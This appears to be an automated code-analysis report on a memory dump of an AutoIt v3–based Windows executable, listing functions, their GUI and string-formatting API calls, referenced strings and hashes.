0x011bcc8a
0x011bcc83
0x011bcc7a
0x011bcc94
0x011bcc95
0x011bcc95
0x011bcc9d
0x00000000
0x011bcc5e
0x01183051
0x01183052
0x011bcbfc
0x011bcc0b
0x011bcc1b
0x011bcc1d
0x011bcc21
0x00000000
0x00000000
0x011bcc32
0x00000000
0x011bcc32
0x01183059
0x0118305a
0x011bcb81
0x011bcb82
0x011bcb88
0x00000000
0x00000000
0x00000000
0x00000000
0x011bcb8e
0x011bcb8e
0x011bcb94
0x011bcb96
0x011bcb98
0x00000000
0x00000000
0x011bcb9d
0x011bcba0
0x00000000
0x00000000
0x011bcba2
0x011bcba9
0x00000000
0x00000000
0x011bcbad
0x011bcbb0
0x00000000
0x00000000
0x011bcbde
0x00000000
0x011bcbe9
0x011bcbe9
0x011bcbea
0x011bcbf0
0x00000000
0x00000000
0x011bcbf6
0x011bcb8e
0x01183060
0x01183063
0x011bcb6a
0x011bcb6b
0x00000000
0x00000000
0x011bcb75
0x00000000
0x01183069
0x0118306b
0x00000000
0x0118306b

APIs

DestroyWindow.USER32(?,?,?), ref: 01183072
DeleteObject.GDI32(00000000), ref: 011830B8
DeleteObject.GDI32(00000000), ref: 011830C3
DestroyIcon.USER32(00000000,?,?,?), ref: 011830CE
DestroyWindow.USER32(00000000,?,?,?), ref: 011830D9
SendMessageW.USER32(?,00001308,?,00000000), ref: 011BC77C
ImageList_Remove.COMCTL32(?,000000FF,?), ref: 011BC7B5
MoveWindow.USER32(?,?,?,?,?,00000000), ref: 011BCBDE

Part of subcall function 01181F1D: InvalidateRect.USER32(?,00000000,00000001,?,?,?,01182412,?,00000000,?,?,?,?,01181AA7,00000000,?), ref: 01181F76

SendMessageW.USER32(?,00001053), ref: 011BCC1B
SendMessageW.USER32(?,00001008,000000FF,00000000), ref: 011BCC32
ImageList_Destroy.COMCTL32(00000000,?,?), ref: 011BCC48
ImageList_Destroy.COMCTL32(00000000,?,?), ref: 011BCC53

Strings

0, xrefs: 011BCA72

Memory Dump Source

Source File: 00000015.00000002.1012838780.0000000001181000.00000020.00020000.sdmp, Offset: 01180000, based on PE: true

Associated: 00000015.00000002.1012306727.0000000001180000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.1026043958.0000000001210000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.1026077662.0000000001236000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.1026108110.0000000001240000.00000004.00020000.sdmp Download File
Associated: 00000015.00000002.1026126347.0000000001249000.00000002.00020000.sdmp Download File

Similarity

API ID: Destroy$ImageList_MessageSendWindow$DeleteObject$IconInvalidateMoveRectRemove
String ID: 0
API String ID: 464785882-4108050209
Opcode ID: 934896aac4bf0c7c1838fb3a48d102ad94735c492b941f65380252f8ffc4f075
Instruction ID: 1fcbdf445a50e615615c1bc055180e89a34c1b7377a1ac31031163f442c2b744
Opcode Fuzzy Hash: 934896aac4bf0c7c1838fb3a48d102ad94735c492b941f65380252f8ffc4f075
Instruction Fuzzy Hash: 00128030604201EFDB2ADF28D888BA9BBE5FF54714F188569F555CB252DB31E882CF91

Uniqueness

Uniqueness Score: -1.00%

Function 0120AF18, Relevance: 39.2, APIs: 26, Instructions: 201windowCOMMON

Download Yara Rule

APIs

GetSysColor.USER32(00000012), ref: 0120AF51
SetTextColor.GDI32(?,?), ref: 0120AF55
GetSysColorBrush.USER32(0000000F), ref: 0120AF6B
GetSysColor.USER32(0000000F), ref: 0120AF76
CreateSolidBrush.GDI32(?), ref: 0120AF7B
GetSysColor.USER32(00000011), ref: 0120AF93
CreatePen.GDI32(00000000,00000001,00743C00), ref: 0120AFA1
SelectObject.GDI32(?,00000000), ref: 0120AFB2
SetBkColor.GDI32(?,00000000), ref: 0120AFBB
SelectObject.GDI32(?,?), ref: 0120AFC8
InflateRect.USER32(?,000000FF,000000FF), ref: 0120AFE7
RoundRect.GDI32(?,?,?,?,?,00000005,00000005), ref: 0120AFFE
GetWindowLongW.USER32(00000000,000000F0), ref: 0120B013
SendMessageW.USER32(00000000,0000000E,00000000,00000000), ref: 0120B05F
GetWindowTextW.USER32 ref: 0120B086
InflateRect.USER32(?,000000FD,000000FD), ref: 0120B0A4
DrawFocusRect.USER32 ref: 0120B0AF
GetSysColor.USER32(00000011), ref: 0120B0BD
SetTextColor.GDI32(?,00000000), ref: 0120B0C5
DrawTextW.USER32(?,00000000,000000FF,?,?), ref: 0120B0D9
SelectObject.GDI32(?,0120AC1F), ref: 0120B0F0
DeleteObject.GDI32(?), ref: 0120B0FB
SelectObject.GDI32(?,?), ref: 0120B101
DeleteObject.GDI32(?), ref: 0120B106
SetTextColor.GDI32(?,?), ref: 0120B10C
SetBkColor.GDI32(?,?), ref: 0120B116

Memory Dump Source

Source File: 00000015.00000002.1012838780.0000000001181000.00000020.00020000.sdmp, Offset: 01180000, based on PE: true

Associated: 00000015.00000002.1012306727.0000000001180000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.1026043958.0000000001210000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.1026077662.0000000001236000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.1026108110.0000000001240000.00000004.00020000.sdmp Download File
Associated: 00000015.00000002.1026126347.0000000001249000.00000002.00020000.sdmp Download File

Similarity

API ID: Color$Object$Text$RectSelect$BrushCreateDeleteDrawInflateWindow$FocusLongMessageRoundSendSolid
String ID:
API String ID: 1996641542-0
Opcode ID: 8f0978a7cbe5b302be0fdb33dcb339105580ec37cd6420eac150c213bc86c5e4
Instruction ID: 17127e0a6441984ab200c42f077af569ea19d4840f44b2b39d37e8ee651d9f79
Opcode Fuzzy Hash: 8f0978a7cbe5b302be0fdb33dcb339105580ec37cd6420eac150c213bc86c5e4
Instruction Fuzzy Hash: 55614E71910219BFDB21DFA8EC48AAE7B79FF08320F104215FA15AB2D5DB759980CF94

Uniqueness

Uniqueness Score: -1.00%

Function 01182BA9, Relevance: 33.5, APIs: 18, Strings: 1, Instructions: 286windowtimeCOMMON

Download Yara Rule

APIs

Part of subcall function 011A0FE6: _malloc.LIBCMT ref: 011A0FFE

SystemParametersInfoW.USER32 ref: 01182C8C
GetSystemMetrics.USER32 ref: 01182C94
SystemParametersInfoW.USER32 ref: 01182CBF
GetSystemMetrics.USER32 ref: 01182CC7
GetSystemMetrics.USER32 ref: 01182CEC
SetRect.USER32 ref: 01182D09
AdjustWindowRectEx.USER32(000000FF,?,00000000,?), ref: 01182D19
CreateWindowExW.USER32 ref: 01182D4C
SetWindowLongW.USER32(00000000,000000EB,00000000), ref: 01182D60
GetClientRect.USER32 ref: 01182D7E
GetStockObject.GDI32(00000011), ref: 01182D9A
SendMessageW.USER32(00000000,00000030,00000000), ref: 01182DA5

Part of subcall function 01182714: GetCursorPos.USER32(?), ref: 01182727
Part of subcall function 01182714: ScreenToClient.USER32 ref: 01182744
Part of subcall function 01182714: GetAsyncKeyState.USER32(00000001), ref: 01182769
Part of subcall function 01182714: GetAsyncKeyState.USER32(00000002), ref: 01182777

SetTimer.USER32(00000000,00000000,00000028,011813C7), ref: 01182DCC

Strings

AutoIt v3 GUI, xrefs: 01182D44

Memory Dump Source

Source File: 00000015.00000002.1012838780.0000000001181000.00000020.00020000.sdmp, Offset: 01180000, based on PE: true

Associated: 00000015.00000002.1012306727.0000000001180000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.1026043958.0000000001210000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.1026077662.0000000001236000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.1026108110.0000000001240000.00000004.00020000.sdmp Download File
Associated: 00000015.00000002.1026126347.0000000001249000.00000002.00020000.sdmp Download File

Similarity

API ID: System$MetricsRectWindow$AsyncClientInfoParametersState$AdjustCreateCursorLongMessageObjectScreenSendStockTimer_malloc
String ID: AutoIt v3 GUI
API String ID: 1557154100-248962490
Opcode ID: 7c33508d06b560dd924d4aa283d9de7b76f5bdef178b845b0d5d98646516e633
Instruction ID: 5f6eb13189093d9a22eef9ba80946158da6252ceea26b4838c0f18a925ce7926
Opcode Fuzzy Hash: 7c33508d06b560dd924d4aa283d9de7b76f5bdef178b845b0d5d98646516e633
Instruction Fuzzy Hash: 49B1927560020AAFDB29DFA8D889BED7BB4FB08314F108119FA15E7284DB74D941CF94

Uniqueness

Uniqueness Score: -1.00%

Function 011A0429, Relevance: 30.1, APIs: 8, Strings: 9, Instructions: 349COMMON

Download Yara Rule

APIs

Part of subcall function 01191821: _memmove.LIBCMT ref: 0119185B

GetForegroundWindow.USER32(01210980,?,?,?,?,?), ref: 011A04E3
IsWindow.USER32(?), ref: 011D66BB

Strings

REGEXPTITLE, xrefs: 011D64B4
INSTANCE, xrefs: 011D65FA
REGEXPCLASS, xrefs: 011D6506
LAST, xrefs: 011D6472
ALL, xrefs: 011D6622
CLASS, xrefs: 011D64E5
ACTIVE, xrefs: 011D6488
TITLE, xrefs: 011D6650
HANDLE, xrefs: 011D649E

Memory Dump Source

Source File: 00000015.00000002.1012838780.0000000001181000.00000020.00020000.sdmp, Offset: 01180000, based on PE: true

Associated: 00000015.00000002.1012306727.0000000001180000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.1026043958.0000000001210000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.1026077662.0000000001236000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.1026108110.0000000001240000.00000004.00020000.sdmp Download File
Associated: 00000015.00000002.1026126347.0000000001249000.00000002.00020000.sdmp Download File

Similarity

API ID: Window$Foreground_memmove
String ID: ACTIVE$ALL$CLASS$HANDLE$INSTANCE$LAST$REGEXPCLASS$REGEXPTITLE$TITLE
API String ID: 3828923867-1919597938
Opcode ID: c1b089232b77418ddd387367f341993f1ea4030c4e0d25047f13289ebc856af7
Instruction ID: 664296f27d3cf2a4e37ea0f2c16f806fe28f2444999eb336b20f86e3dd38dfc8
Opcode Fuzzy Hash: c1b089232b77418ddd387367f341993f1ea4030c4e0d25047f13289ebc856af7
Instruction Fuzzy Hash: BED18070104607EFDB0CEF24C4809AEBFB5BF64358F504A19F4A6975A1DB30E999CB92

Uniqueness

Uniqueness Score: -1.00%

Function 011DB8B6, Relevance: 26.4, APIs: 3, Strings: 12, Instructions: 105COMMON

Download Yara Rule

APIs

__wcsnicmp.LIBCMT ref: 011DB915

Strings

[REGEXPTITLE:, xrefs: 011DB93D
[ALL, xrefs: 011DB9BB
HANDLE=, xrefs: 011DB90E
[CLASS:, xrefs: 011DB965
[LAST, xrefs: 011DB9C2
LAST, xrefs: 011DB8DA
ALL, xrefs: 011DB9A9
[ACTIVE, xrefs: 011DB902
ACTIVE, xrefs: 011DB8F0
REGEXP=, xrefs: 011DB92A
CLASSNAME=, xrefs: 011DB952
[HANDLE:, xrefs: 011DB921

Memory Dump Source

Source File: 00000015.00000002.1012838780.0000000001181000.00000020.00020000.sdmp, Offset: 01180000, based on PE: true

Associated: 00000015.00000002.1012306727.0000000001180000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.1026043958.0000000001210000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.1026077662.0000000001236000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.1026108110.0000000001240000.00000004.00020000.sdmp Download File
Associated: 00000015.00000002.1026126347.0000000001249000.00000002.00020000.sdmp Download File

Similarity

API ID: __wcsnicmp
String ID: ACTIVE$ALL$CLASSNAME=$HANDLE=$LAST$REGEXP=$[ACTIVE$[ALL$[CLASS:$[HANDLE:$[LAST$[REGEXPTITLE:
API String ID: 1038674560-1810252412
Opcode ID: 0615d9a81fc671594685df02fa8e8aab9306f883a7608cb8bab8af2bed04cf21
Instruction ID: 55228bb85261298403a1a6d929f9f69d5855ec20137a16f42006eb541f3df65b
Opcode Fuzzy Hash: 0615d9a81fc671594685df02fa8e8aab9306f883a7608cb8bab8af2bed04cf21
Instruction Fuzzy Hash: FC31F6F0A58247AADF0DEB51CD42EED77B4AF71264F610139E4A2B20D0FF556E00C955

Uniqueness

Uniqueness Score: -1.00%

Function 0120CCA6, Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 181windowfileCOMMON

Download Yara Rule

APIs

Part of subcall function 011829E2: GetWindowLongW.USER32(?,000000EB), ref: 011829F3

DragQueryPoint.SHELL32(?,?), ref: 0120CCCF

Part of subcall function 0120B1A9: ClientToScreen.USER32(?,?), ref: 0120B1D2
Part of subcall function 0120B1A9: GetWindowRect.USER32 ref: 0120B248
Part of subcall function 0120B1A9: PtInRect.USER32(?,?,0120C6BC), ref: 0120B258

SendMessageW.USER32(?,000000B0,?,?), ref: 0120CD38
DragQueryFileW.SHELL32(?,000000FF,00000000,00000000), ref: 0120CD43
DragQueryFileW.SHELL32(?,00000000,?,00000104), ref: 0120CD66
_wcscat.LIBCMT ref: 0120CD96
SendMessageW.USER32(?,000000C2,00000001,?), ref: 0120CDAD
SendMessageW.USER32(?,000000B0,?,?), ref: 0120CDC6
SendMessageW.USER32(?,000000B1,?,?), ref: 0120CDDD
SendMessageW.USER32(?,000000B1,?,?), ref: 0120CDFF
DragFinish.SHELL32(?), ref: 0120CE06
DefDlgProcW.USER32(?,00000233,?,00000000,?,?,?), ref: 0120CEF9

Strings

@GUI_DRAGID, xrefs: 0120CE71
@GUI_DRAGFILE, xrefs: 0120CEA8
@GUI_DROPID, xrefs: 0120CE26

Memory Dump Source

Source File: 00000015.00000002.1012838780.0000000001181000.00000020.00020000.sdmp, Offset: 01180000, based on PE: true

Associated: 00000015.00000002.1012306727.0000000001180000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.1026043958.0000000001210000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.1026077662.0000000001236000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.1026108110.0000000001240000.00000004.00020000.sdmp Download File
Associated: 00000015.00000002.1026126347.0000000001249000.00000002.00020000.sdmp Download File

Similarity

API ID: MessageSend$Drag$Query$FileRectWindow$ClientFinishLongPointProcScreen_wcscat
String ID: @GUI_DRAGFILE$@GUI_DRAGID$@GUI_DROPID
API String ID: 169749273-3440237614
Opcode ID: b8ef84c7632d32cc355916cb7d1ac7c5ed642f9a3878ee0e9ce38d67a5f6816d
Instruction ID: eefa0fdfb27b1768bde78160996b5fb748df0b0670e5c9a545d1a6fecb1d0fbb
Opcode Fuzzy Hash: b8ef84c7632d32cc355916cb7d1ac7c5ed642f9a3878ee0e9ce38d67a5f6816d
Instruction Fuzzy Hash: 4A619F71508302AFC715EF54D888D5FBBE8FFE8754F000A1EF595921A0DB709A49CB56

Uniqueness

Uniqueness Score: -1.00%

Function 011E82D5, Relevance: 23.1, APIs: 11, Strings: 2, Instructions: 378timeCOMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(00000000), ref: 011E831A
VariantCopy.OLEAUT32(00000000,?), ref: 011E8323
VariantClear.OLEAUT32(00000000), ref: 011E832F
VariantTimeToSystemTime.OLEAUT32(?,?,?), ref: 011E841D
__swprintf.LIBCMT ref: 011E844D
VarR8FromDec.OLEAUT32(?,?), ref: 011E8479
VariantInit.OLEAUT32(?), ref: 011E852A
SysFreeString.OLEAUT32(?), ref: 011E85BE
VariantClear.OLEAUT32(?), ref: 011E8618
VariantClear.OLEAUT32(?), ref: 011E8627
VariantInit.OLEAUT32(00000000), ref: 011E8665

Strings

Default, xrefs: 011E84DA
%4d%02d%02d%02d%02d%02d, xrefs: 011E8447

Memory Dump Source

Source File: 00000015.00000002.1012838780.0000000001181000.00000020.00020000.sdmp, Offset: 01180000, based on PE: true

Associated: 00000015.00000002.1012306727.0000000001180000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.1026043958.0000000001210000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.1026077662.0000000001236000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.1026108110.0000000001240000.00000004.00020000.sdmp Download File
Associated: 00000015.00000002.1026126347.0000000001249000.00000002.00020000.sdmp Download File

Similarity

API ID: Variant$ClearInit$Time$CopyFreeFromStringSystem__swprintf
String ID: %4d%02d%02d%02d%02d%02d$Default
API String ID: 3730832054-3931177956
Opcode ID: 756a21aa2e707d3b9bbf53a43e591c45af0560a08307ee64f6d37b1f983989cb
Instruction ID: ce19fbcbde0bf081b3615eb5f81f91185bc017578fff8f41ff83668b3f89146f
Opcode Fuzzy Hash: 756a21aa2e707d3b9bbf53a43e591c45af0560a08307ee64f6d37b1f983989cb
Instruction Fuzzy Hash: 9AD1BF75608916EBDB2C9FE9D498B6EBBF4FF05700F058555E505AB290DB30EC40CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 011EA27B, Relevance: 22.9, APIs: 7, Strings: 6, Instructions: 150COMMON

Download Yara Rule

APIs

LoadStringW.USER32(00000066,?,00000FFF,?), ref: 011EA2C2

Part of subcall function 01191A36: _memmove.LIBCMT ref: 01191A77

LoadStringW.USER32(00000072,?,00000FFF,?), ref: 011EA2E3
__swprintf.LIBCMT ref: 011EA33C
__swprintf.LIBCMT ref: 011EA355
_wprintf.LIBCMT ref: 011EA3FC
_wprintf.LIBCMT ref: 011EA41A

Strings

"%s" (%d) : ==> %s:, xrefs: 011EA415
"%s" (%d) : ==> %s:%s%s, xrefs: 011EA3F7
Line %d (File "%s"):, xrefs: 011EA336, 011EA34F
Error: , xrefs: 011EA3C4
Incorrect parameters to object property !, xrefs: 011EA39E
^ ERROR , xrefs: 011EA391

Memory Dump Source

Source File: 00000015.00000002.1012838780.0000000001181000.00000020.00020000.sdmp, Offset: 01180000, based on PE: true

Associated: 00000015.00000002.1012306727.0000000001180000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.1026043958.0000000001210000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.1026077662.0000000001236000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.1026108110.0000000001240000.00000004.00020000.sdmp Download File
Associated: 00000015.00000002.1026126347.0000000001249000.00000002.00020000.sdmp Download File

Similarity

API ID: LoadString__swprintf_wprintf$_memmove
String ID: Error: $"%s" (%d) : ==> %s:$"%s" (%d) : ==> %s:%s%s$Incorrect parameters to object property !$Line %d (File "%s"):$^ ERROR
API String ID: 311963372-3080491070
Opcode ID: 2f407251ad001c262e7bc62177e498ac3df6a81ae1ff675f644796c2304da437
Instruction ID: be052bf5d28e10eb4025af834c656d83114252ae6a7252649f28f916c8dde8ca
Opcode Fuzzy Hash: 2f407251ad001c262e7bc62177e498ac3df6a81ae1ff675f644796c2304da437
Instruction Fuzzy Hash: D651AE7190050BBBCF2CEBE0ED49EEEB7B9AF24254F500165E515B2050EB352F98DB60

Uniqueness

Uniqueness Score: -1.00%

Function 011E0065, Relevance: 22.9, APIs: 8, Strings: 5, Instructions: 138windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,00000FFF,00000000,00000001,00000001,?,011CF8B8,00000001,0000138C,00000001,00000001,00000001,?,011F3FF9,00000001), ref: 011E009A
LoadStringW.USER32(00000000,?,011CF8B8,00000001), ref: 011E00A3

Part of subcall function 01191A36: _memmove.LIBCMT ref: 01191A77

GetModuleHandleW.KERNEL32(00000000,01247310,?,00000FFF,?,?,011CF8B8,00000001,0000138C,00000001,00000001,00000001,?,011F3FF9,00000001,00000001), ref: 011E00C5
LoadStringW.USER32(00000000,?,011CF8B8,00000001), ref: 011E00C8
__swprintf.LIBCMT ref: 011E0118
__swprintf.LIBCMT ref: 011E0129
_wprintf.LIBCMT ref: 011E01D2
MessageBoxW.USER32(00000000,?,?,00011010), ref: 011E01E9

Strings

Line %d (File "%s"):, xrefs: 011E0112
^ ERROR, xrefs: 011E017E
Error: , xrefs: 011E01A0
%s (%d) : ==> %s: %s %s, xrefs: 011E01CD
Line %d:, xrefs: 011E0123

Memory Dump Source

Source File: 00000015.00000002.1012838780.0000000001181000.00000020.00020000.sdmp, Offset: 01180000, based on PE: true

Associated: 00000015.00000002.1012306727.0000000001180000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.1026043958.0000000001210000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.1026077662.0000000001236000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.1026108110.0000000001240000.00000004.00020000.sdmp Download File
Associated: 00000015.00000002.1026126347.0000000001249000.00000002.00020000.sdmp Download File

Similarity

API ID: HandleLoadModuleString__swprintf$Message_memmove_wprintf
String ID: Error: $%s (%d) : ==> %s: %s %s$Line %d (File "%s"):$Line %d:$^ ERROR
API String ID: 984253442-2268648507
Opcode ID: e700b12f85ad0b6089f40e6401f7ffb7f703d2a4c9150d9c3c12368cad564b01
Instruction ID: 9912e346473f41a2ec6879a1e3fb3793c18d5a8ffb123d4c7a757995bf1655d3
Opcode Fuzzy Hash: e700b12f85ad0b6089f40e6401f7ffb7f703d2a4c9150d9c3c12368cad564b01
Instruction Fuzzy Hash: D441717290011BBACF18FBD0DD85DEE77B9AF68254F500165F511B2050EB74AF89CB61

Uniqueness

Uniqueness Score: -1.00%

Function 0120C854, Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 229windowCOMMON

Download Yara Rule

APIs

Part of subcall function 011829E2: GetWindowLongW.USER32(?,000000EB), ref: 011829F3

PostMessageW.USER32(?,00000111,00000000,00000000), ref: 0120C8A4
GetFocus.USER32(?,?,?,?), ref: 0120C8B4
GetDlgCtrlID.USER32 ref: 0120C8BF
_memset.LIBCMT ref: 0120C9EA
GetMenuItemInfoW.USER32(?,00000000,00000000,?), ref: 0120CA15
GetMenuItemCount.USER32 ref: 0120CA35
GetMenuItemID.USER32(?,00000000), ref: 0120CA48
GetMenuItemInfoW.USER32(?,-00000001,00000001,?), ref: 0120CA7C
GetMenuItemInfoW.USER32(?,?,00000001,?), ref: 0120CAC4
CheckMenuRadioItem.USER32 ref: 0120CAFC
DefDlgProcW.USER32(?,00000111,?,?,?,?,?,?,?), ref: 0120CB31

Strings

0, xrefs: 0120C9E2

Memory Dump Source

Source File: 00000015.00000002.1012838780.0000000001181000.00000020.00020000.sdmp, Offset: 01180000, based on PE: true

Associated: 00000015.00000002.1012306727.0000000001180000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.1026043958.0000000001210000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.1026077662.0000000001236000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.1026108110.0000000001240000.00000004.00020000.sdmp Download File
Associated: 00000015.00000002.1026126347.0000000001249000.00000002.00020000.sdmp Download File

Similarity

API ID: ItemMenu$Info$CheckCountCtrlFocusLongMessagePostProcRadioWindow_memset
String ID: 0
API String ID: 1296962147-4108050209
Opcode ID: 459aca67236d1b967c5e5a61294e24022a4cc1cce8ea44cf24b470031257dde6
Instruction ID: 46b54e5c141b41a886703852d786343689018e41fbf7805cf5a2bdc305595d98
Opcode Fuzzy Hash: 459aca67236d1b967c5e5a61294e24022a4cc1cce8ea44cf24b470031257dde6
Instruction Fuzzy Hash: 4581A2B05143029FD726CF18D884A6B7BE4FF88354F004B5DFA9593282DB70D955CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 011EA48D, Relevance: 21.2, APIs: 7, Strings: 5, Instructions: 156COMMON

Download Yara Rule

APIs

LoadStringW.USER32(00000066,?,00000FFF,?), ref: 011EA4D4

Part of subcall function 01191A36: _memmove.LIBCMT ref: 01191A77

LoadStringW.USER32(?,?,00000FFF,?), ref: 011EA4F6
__swprintf.LIBCMT ref: 011EA54F
__swprintf.LIBCMT ref: 011EA568
_wprintf.LIBCMT ref: 011EA61E
_wprintf.LIBCMT ref: 011EA63C

Strings

"%s" (%d) : ==> %s:, xrefs: 011EA637
Line %d (File "%s"):, xrefs: 011EA549, 011EA562
"%s" (%d) : ==> %s:%s%s, xrefs: 011EA619
^ ERROR, xrefs: 011EA5C0
Error: , xrefs: 011EA5E6

Memory Dump Source

Source File: 00000015.00000002.1012838780.0000000001181000.00000020.00020000.sdmp, Offset: 01180000, based on PE: true

Associated: 00000015.00000002.1012306727.0000000001180000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.1026043958.0000000001210000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.1026077662.0000000001236000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.1026108110.0000000001240000.00000004.00020000.sdmp Download File
Associated: 00000015.00000002.1026126347.0000000001249000.00000002.00020000.sdmp Download File

Similarity

API ID: LoadString__swprintf_wprintf$_memmove
String ID: Error: $"%s" (%d) : ==> %s:$"%s" (%d) : ==> %s:%s%s$Line %d (File "%s"):$^ ERROR
API String ID: 311963372-2391861430
Opcode ID: 88c255b8d4b1d631bedfecd7a22ce61a578a9ee48d1a8fc8d858ece33de5f0b7
Instruction ID: 9f9754ad2d90412bf954c7f6ed16ec142cc4a2d9cae292fc46cb9723daf2f64c
Opcode Fuzzy Hash: 88c255b8d4b1d631bedfecd7a22ce61a578a9ee48d1a8fc8d858ece33de5f0b7
Instruction Fuzzy Hash: 75519E7190051BBBCF2CEBE0DD48EEEB7B9AF28254F504165E525A2050EB316F98CB60

Uniqueness

Uniqueness Score: -1.00%

Function 011823F7, Relevance: 18.2, APIs: 12, Instructions: 170timeCOMMON

Download Yara Rule

APIs

Part of subcall function 01181F1D: InvalidateRect.USER32(?,00000000,00000001,?,?,?,01182412,?,00000000,?,?,?,?,01181AA7,00000000,?), ref: 01181F76

DestroyWindow.USER32(?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 011824AF
KillTimer.USER32(-00000001,?,?,?,?,01181AA7,00000000,?,?,01181EBE,?,?), ref: 0118254A
DestroyAcceleratorTable.USER32 ref: 011BBFE7
ImageList_Destroy.COMCTL32(00000000,?,00000000,?,?,?,?,01181AA7,00000000,?,?,01181EBE,?,?), ref: 011BC018
ImageList_Destroy.COMCTL32(00000000,?,00000000,?,?,?,?,01181AA7,00000000,?,?,01181EBE,?,?), ref: 011BC02F
ImageList_Destroy.COMCTL32(00000000,?,00000000,?,?,?,?,01181AA7,00000000,?,?,01181EBE,?,?), ref: 011BC04B
DeleteObject.GDI32(00000000), ref: 011BC05D

Memory Dump Source

Source File: 00000015.00000002.1012838780.0000000001181000.00000020.00020000.sdmp, Offset: 01180000, based on PE: true

Associated: 00000015.00000002.1012306727.0000000001180000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.1026043958.0000000001210000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.1026077662.0000000001236000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.1026108110.0000000001240000.00000004.00020000.sdmp Download File
Associated: 00000015.00000002.1026126347.0000000001249000.00000002.00020000.sdmp Download File

Similarity

API ID: Destroy$ImageList_$AcceleratorDeleteInvalidateKillObjectRectTableTimerWindow
String ID:
API String ID: 641708696-0
Opcode ID: be85c3b555e5cc9707be333a9547761566c1af8d55ff47f7d91dbebef11cc696
Instruction ID: 2c6ed8d961ba67531fe1ca9e8ededc1b3fe94e4d7d071dd1f7f7b670d33600e0
Opcode Fuzzy Hash: be85c3b555e5cc9707be333a9547761566c1af8d55ff47f7d91dbebef11cc696
Instruction Fuzzy Hash: E5619A35100601DFEB3FEF18E98CB6A7BF1FB51316F008929E4524A968C771A881DFA5

Uniqueness

Uniqueness Score: -1.00%

Function 01182581, Relevance: 18.1, APIs: 12, Instructions: 132COMMON

Download Yara Rule

APIs

Part of subcall function 011829AB: GetWindowLongW.USER32(?,000000EB), ref: 011829BC

GetSysColor.USER32(0000000F), ref: 011825AF

Memory Dump Source

Source File: 00000015.00000002.1012838780.0000000001181000.00000020.00020000.sdmp, Offset: 01180000, based on PE: true

Associated: 00000015.00000002.1012306727.0000000001180000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.1026043958.0000000001210000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.1026077662.0000000001236000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.1026108110.0000000001240000.00000004.00020000.sdmp Download File
Associated: 00000015.00000002.1026126347.0000000001249000.00000002.00020000.sdmp Download File

Similarity

API ID: ColorLongWindow
String ID:
API String ID: 259745315-0
Opcode ID: f4f6c7ebea7f6d55c42702e0370176c0258752690178c8bdd73803f49a712ed8
Instruction ID: a7ec0aaa2fa61bb49af8f88aa0866269f849da88b2abf78c6fbb6a0608bc55e9
Opcode Fuzzy Hash: f4f6c7ebea7f6d55c42702e0370176c0258752690178c8bdd73803f49a712ed8
Instruction Fuzzy Hash: 3C41EA30000144AFDB3AAF2CA88CBB93B65FB19335F258255FE669E1D5CB348881DF65

Uniqueness

Uniqueness Score: -1.00%

Function 01184D37, Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 146COMMON

Download Yara Rule

APIs

__itow.LIBCMT ref: 01184D62
__swprintf.LIBCMT ref: 01184DAC
__i64tow.LIBCMT ref: 011BDB3B

Strings

True, xrefs: 011BDAFC
False, xrefs: 011BDB03
%.15g, xrefs: 01184DA6
0x%p, xrefs: 011BDB1D

Memory Dump Source

Source File: 00000015.00000002.1012838780.0000000001181000.00000020.00020000.sdmp, Offset: 01180000, based on PE: true

Associated: 00000015.00000002.1012306727.0000000001180000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.1026043958.0000000001210000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.1026077662.0000000001236000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.1026108110.0000000001240000.00000004.00020000.sdmp Download File
Associated: 00000015.00000002.1026126347.0000000001249000.00000002.00020000.sdmp Download File

Similarity

API ID: __i64tow__itow__swprintf
String ID: %.15g$0x%p$False$True
API String ID: 421087845-2263619337
Opcode ID: b7841597ff3ce7c0bb694647bf691c2f3274ec892851b389ef8e5a0c65b380bc
Instruction ID: 2c0ac8c8eb7724a91d9f7f179904127e06500a23bb2b2fb59b7606806230a3aa
